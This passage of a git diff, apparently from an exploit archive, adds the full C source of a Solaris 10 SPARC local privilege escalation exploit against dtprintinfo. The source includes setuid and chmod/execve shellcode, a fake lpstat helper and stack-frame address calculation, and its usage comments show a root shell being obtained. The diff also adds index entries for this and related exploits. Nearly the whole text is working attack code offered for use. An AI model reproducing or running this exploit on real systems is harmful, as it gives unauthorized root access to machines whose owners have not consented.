+ * the needed addresses that's hopefully universal (goodbye VOODOO macros!).
+ * and I had to work around some annoying crashes, which led me to write
+ * a custom shellcode that makes /bin/ksh setuid. Crude but effective;)
+ * If you feel brave, you can also try my experimental exec shellcode, for
+ * SPARC V8 plus and above architectures only ("It works on my computer!").
+ *
+ * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly
+ * suspect this is the reason for the weird behavior in the execution of
+ * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1,
+ * in the strncmp() function called by brand_uucopystr(). If that's indeed
+ * the case, any shellcode (including lsd-pl.net's classic shellcode) should
+ * work on physical systems and I just spent a non-neglibible amount of time
+ * debugging this for no valid reason but my love of hacking... Oh well!
+ *
+ * Usage:
+ * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall
+ * [on your xserver: disable the access control]
+ * $ ./raptor_dtprintname_sparc3 10.0.0.122:0
+ * [...]
+ * $ ls -l /bin/ksh
+ * -rwsrwsrwx   3 root     bin       209288 Feb 21  2012 /bin/ksh
+ * $ /bin/ksh
+ * # id
+ * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
+ * #
+ *
+ * Tested on:
+ * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13)
+ */
+
+#include <fcntl.h>
+#include <link.h>
+#include <procfs.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/systeminfo.h>
+
+#define INFO1	"raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
+#define INFO2	"Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+#define	VULN	"/usr/dt/bin/dtprintinfo"	// the vulnerable program
+#define	BUFSIZE	301				// size of the printer name
+#define	FFSIZE	64 + 1				// size of the fake frame
+#define	DUMMY	0xdeadbeef			// dummy memory address
+
+//#define USE_EXEC_SC				// uncomment to use exec shellcode
+
+#ifdef USE_EXEC_SC
+	char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
+	/* setuid(0) */
+	"\x90\x08\x3f\xff"	/* and	%g0, -1, %o0		*/
+	"\x82\x10\x20\x17"	/* mov	0x17, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta	8			*/
+	/* execve("/bin/ksh", argv, NULL) */
+	"\x9f\x41\x40\x01"	/* rd	%pc,%o7	! >= sparcv8+	*/
+	"\x90\x03\xe0\x28"	/* add	%o7, 0x28, %o0 		*/
+	"\x92\x02\x20\x10"	/* add	%o0, 0x10, %o1		*/
+	"\xc0\x22\x20\x08"	/* clr	[ %o0 + 8 ]		*/
+	"\xd0\x22\x20\x10"	/* st	%o0, [ %o0 + 0x10 ]	*/
+	"\xc0\x22\x20\x14"	/* clr	[ %o0 + 0x14 ]		*/
+	"\x82\x10\x20\x0b"	/* mov	0xb, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta	8			*/
+	"\x80\x1c\x40\x11"	/* xor	%l1, %l1, %g0 ! nop	*/
+	"\x41\x41\x41\x41"	/* placeholder 			*/
+	"/bin/ksh";
+#else
+	char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
+	/* setuid(0) */
+	"\x90\x08\x3f\xff"	/* and	%g0, -1, %o0		*/
+	"\x82\x10\x20\x17"	/* mov	0x17, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta	8			*/
+	/* chmod("/bin/ksh", 037777777777) */
+	"\x92\x20\x20\x01"	/* sub 	%g0, 1, %o1		*/
+	"\x20\xbf\xff\xff"	/* bn,a	<sc - 4>		*/
+	"\x20\xbf\xff\xff"	/* bn,a	<sc>			*/
+	"\x7f\xff\xff\xff"	/* call	<sc + 4>		*/
+	"\x90\x03\xe0\x20"	/* add	%o7, 0x20, %o0		*/
+	"\xc0\x22\x20\x08"	/* clr	[ %o0 + 8 ]		*/
+	"\x82\x10\x20\x0f"	/* mov  0xf, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta	8			*/
+	/* exit(0) */
+	"\x90\x08\x3f\xff"	/* and	%g0, -1, %o0		*/
+	"\x82\x10\x20\x01"	/* mov	1, %g1			*/
+	"\x91\xd0\x20\x08"	/* ta	8			*/
+	"/bin/ksh";
+#endif /* USE_EXEC_SC */
+
+/* globals */
+char	*arg[2] = {"foo", NULL};
+char	*env[256];
+int	env_pos = 0, env_len = 0;
+
+/* prototypes */
+int	add_env(char *string);
+void	check_zero(int addr, char *pattern);
+int	get_ff_addr(char *path, char **argv);
+int	search_ldso(char *sym);
+int	search_rwx_mem(void);
+void	set_val(char *buf, int pos, int val);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+	char	buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
+	char	platform[256], release[256], display[256];
+	int	i, ff_addr, sc_addr, ret_pos, fpt_pos;
+
+	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
+	int	ret = search_ldso("sprintf");
+	int	rwx_mem = search_rwx_mem() + 24; /* stable address */
+
+	/* fake lpstat code */
+	if (!strcmp(argv[0], "lpstat")) {
+
+		/* check command line */
+		if (argc != 2)
+			exit(1);
+
+		/* get ret and fake frame addresses from environment */
+		ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
+		ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
+
+		/* prepare the evil printer name */
+		memset(buf, 'A', sizeof(buf));
+		buf[sizeof(buf) - 1] = 0x0;
+
+		/* fill with return and fake frame addresses */
+		for (i = 0; i < BUFSIZE; i += 4) {
+			/* apparently, we don't need to bruteforce */
+			set_val(buf, i, ret - 4);
+			set_val(buf, i += 4, ff_addr);
+		}
+
+		/* print the expected output and exit */
+		if(!strcmp(argv[1], "-v")) {
+			fprintf(stderr, "lpstat called with -v\n");
+			printf("device for %s: /dev/null\n", buf);
+		} else {
+			fprintf(stderr, "lpstat called with -d\n");
+			printf("system default destination: %s\n", buf);
+		}
+		exit(0);
+	}
+
+	/* helper program that prints argv[0] address, used by get_ff_addr() */
+	if (!strcmp(argv[0], "foo")) {
+		printf("0x%p\n", argv[0]);
+		exit(0);
+	}
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* process command line */
+	if (argc != 2) {
+#ifdef USE_EXEC_SC
+		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
+#else
+		fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
+#endif /* USE_EXEC_SC */
+		exit(1);
+	}
+	sprintf(display, "DISPLAY=%s", argv[1]);
+
+	/* prepare the fake frame */
+	bzero(ff, sizeof(ff));
+	for (i = 0; i < 64; i += 4) {
+		set_val(ff, i, DUMMY);
+	}
+
+	/* fill the envp, keeping padding */
+	sc_addr = add_env(ff);
+	add_env(sc);
+	ret_pos = env_pos;
+	add_env("RET=0x41414141"); /* placeholder */
+	fpt_pos = env_pos;
+	add_env("FPT=0x42424242"); /* placeholder */
+	add_env(display);
+	add_env("PATH=.:/usr/bin");
+	add_env("HOME=/tmp");
+	add_env(NULL);
+
+	/* calculate the needed addresses */
+	ff_addr = get_ff_addr(VULN, argv);
+	sc_addr += ff_addr;
+
+	/*
+	 * populate saved %l registers
+	 */
+	set_val(ff, i  = 0, ff_addr + 56);	/* %l0 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l1 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l2 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l3 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l4 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l5 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l6 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %l7 */
+
+	/*
+	 * populate saved %i registers
+	 */
+	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to sprintf() */
+	set_val(ff, i += 4, sc_addr);		/* %i1: 2nd arg to sprintf() */
+	set_val(ff, i += 4, ff_addr + 56);	/* %i2 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %i3 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %i4 */
+	set_val(ff, i += 4, ff_addr + 56);	/* %i5 */
+	set_val(ff, i += 4, sb - 1024);		/* %i6: frame pointer */
+	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */
+
+#ifdef USE_EXEC_SC
+	set_val(sc, 48, sb - 1024);		/* populate exec shellcode placeholder */
+#endif /* USE_EXEC_SC */
+
+	/* overwrite RET and FPT env vars with the correct addresses */
+	sprintf(ret_var, "RET=0x%x", ret);
+	env[ret_pos] = ret_var;
+	sprintf(fpt_var, "FPT=0x%x", ff_addr);
+	env[fpt_pos] = fpt_var;
+
+	/* create a symlink for the fake lpstat */
+	unlink("lpstat");
+	symlink(argv[0], "lpstat");
+
+	/* print some output */
+	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
+	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
+	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
+	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
+	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
+	fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
+
+	/* check for null bytes (add some padding to env if needed) */
+	check_zero(ff_addr, "ff address");
+	check_zero(sc_addr, "sc address");
+
+	/* run the vulnerable program */
+	execve(VULN, arg, env);
+	perror("execve");
+	exit(1);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+	int	i;
+
+	/* null termination */
+	if (!string) {
+		env[env_pos] = NULL;
+		return env_len;
+	}
+
+	/* add the variable to envp */
+	env[env_pos] = string;
+	env_len += strlen(string) + 1;
+	env_pos++;
+
+	/* pad the envp using zeroes */
+	if ((strlen(string) + 1) % 4)
+		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+			env[env_pos] = string + strlen(string);
+			env_len++;
+		}
+
+	return env_len;
+}
+
+/*
+ * check_zero(): check an address for the presence of a 0x00
+ */
+void check_zero(int addr, char *pattern)
+{
+	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
+	    !(addr & 0xff000000)) {
+		fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
+		exit(1);
+	}
+}
+
+/*
+ * get_ff_addr(): get fake frame address using a helper program
+ */
+int get_ff_addr(char *path, char **argv)
+{
+	char	prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+	char	hex[11] = "\x00";
+	int	fd[2], addr;
+
+	/* truncate program name at correct length and create a hard link */
+	prog[strlen(path)] = 0x0;
+	unlink(prog);
+	link(argv[0], prog);
+
+	/* open pipe to read program output */
+	if (pipe(fd) < 0) {
+		perror("pipe");
+		exit(1);
+	}
+
+	switch(fork()) {
+
+	case -1: /* cannot fork */
+		perror("fork");
+		exit(1);
+
+	case 0: /* child */
+		dup2(fd[1], 1);
+		close(fd[0]);
+		close(fd[1]);
+		execve(prog, arg, env);
+		perror("execve");
+		exit(1);
+
+	default: /* parent */
+		close(fd[1]);
+		read(fd[0], hex, sizeof(hex));
+		break;
+	}
+
+	/* check and return address */
+	if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
+		fprintf(stderr, "error: cannot read ff address from helper program\n");
+		exit(1);
+	}
+	return addr + 4;
+}
+
+/*
+ * search_ldso(): search for a symbol inside ld.so.1
+ */
+int search_ldso(char *sym)
+{
+	int		addr;
+	void		*handle;
+	Link_map	*lm;
+
+	/* open the executable object file */
+	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
+		perror("dlopen");
+		exit(1);
+	}
+
+	/* get dynamic load information */
+	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
+		perror("dlinfo");
+		exit(1);
+	}
+
+	/* search for the address of the symbol */
+	if ((addr = (int)dlsym(handle, sym)) == NULL) {
+		fprintf(stderr, "error: sorry, function %s() not found\n", sym);
+		exit(1);
+	}
+
+	/* close the executable object file */
+	dlclose(handle);
+
+	check_zero(addr - 4, sym);
+	return addr;
+}
+
+/*
+ * search_rwx_mem(): search for an RWX memory segment valid for all
+ * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
+ */
+int search_rwx_mem(void)
+{
+	int	fd;
+	char	tmp[16];
+	prmap_t	map;
+	int	addr = 0, addr_old;
+
+	/* open the proc filesystem */
+	sprintf(tmp,"/proc/%d/map", (int)getpid());
+	if ((fd = open(tmp, O_RDONLY)) < 0) {
+		fprintf(stderr, "error: can't open %s\n", tmp);
+		exit(1);
+	}
+
+	/* search for the last RWX memory segment before stack (last - 1) */
+	while (read(fd, &map, sizeof(map)))
+		if (map.pr_vaddr)
+			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
+				addr_old = addr;
+				addr = map.pr_vaddr;
+			}
+	close(fd);
+
+	/* add 4 to the exact address null bytes */
+	if (!(addr_old & 0xff))
+		addr_old |= 0x04;
+	if (!(addr_old & 0xff00))
+		addr_old |= 0x0400;
+
+	return addr_old;
+}
+
+/*
+ * set_val(): copy a dword inside a buffer
+ */
+void set_val(char *buf, int pos, int val)
+{
+	buf[pos] =	(val & 0xff000000) >> 24;
+	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
+	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
+	buf[pos + 3] =	(val & 0x000000ff);
+}
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 7d67ae04c..4d699dfdf 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -10866,7 +10866,7 @@ id,file,description,date,author,type,platform,port
 46851,exploits/windows/local/46851.txt,"VMware Workstation 15.1.0 - DLL Hijacking",2019-05-16,"Miguel Mendez Z. & Claudio Cortes C.",local,windows,
 46854,exploits/windows/local/46854.py,"JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow",2019-05-16,"Connor McGarr",local,windows,
 46866,exploits/windows/local/46866.c,"Huawei eSpace 1.1.11.103 - DLL Hijacking",2019-05-20,LiquidWorm,local,windows,
-46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation",2019-05-20,"Marco Ivaldi",local,solaris,
+46877,exploits/solaris/local/46877.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris,
 46878,exploits/solaris/local/46878.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2019-05-20,"Marco Ivaldi",local,solaris,
 46879,exploits/solaris/local/46879.c,"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2019-05-20,"Marco Ivaldi",local,solaris,
 47147,exploits/linux/local/47147.txt,"Docker - Container Escape",2019-07-19,dominikczarnotatob,local,linux,
@@ -11247,6 +11247,11 @@ id,file,description,date,author,type,platform,port
 49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",2021-01-11,rootabeta,local,windows,
 49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",2021-01-22,LiquidWorm,local,windows,
 49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",2021-01-28,"Justin Steven",local,multiple,
+49514,exploits/solaris/local/49514.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
+49515,exploits/solaris/local/49515.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
+49516,exploits/solaris/local/49516.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",2021-02-02,"Marco Ivaldi",local,solaris,
+49517,exploits/solaris/local/49517.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",2021-02-02,"Marco Ivaldi",local,solaris,
+49518,exploits/solaris/local/49518.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)",2021-02-02,"Marco Ivaldi",local,solaris,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -43704,3 +43709,4 @@ id,file,description,date,author,type,platform,port
 49510,exploits/php/webapps/49510.py,"Roundcube Webmail 1.2 - File Disclosure",2021-02-01,stonepresto,webapps,php,
 49511,exploits/php/webapps/49511.py,"Klog Server 2.4.1 - Command Injection (Authenticated)",2021-02-01,"Metin Yunus Kandemir",webapps,php,
 49512,exploits/php/webapps/49512.py,"WordPress 5.0.0 - Image Remote Code Execution",2021-02-01,"OUSSAMA RAHALI",webapps,php,
+49513,exploits/php/webapps/49513.txt,"Student Record System 4.0 - 'cid' SQL Injection",2021-02-02,"Jannick Tiger",webapps,php,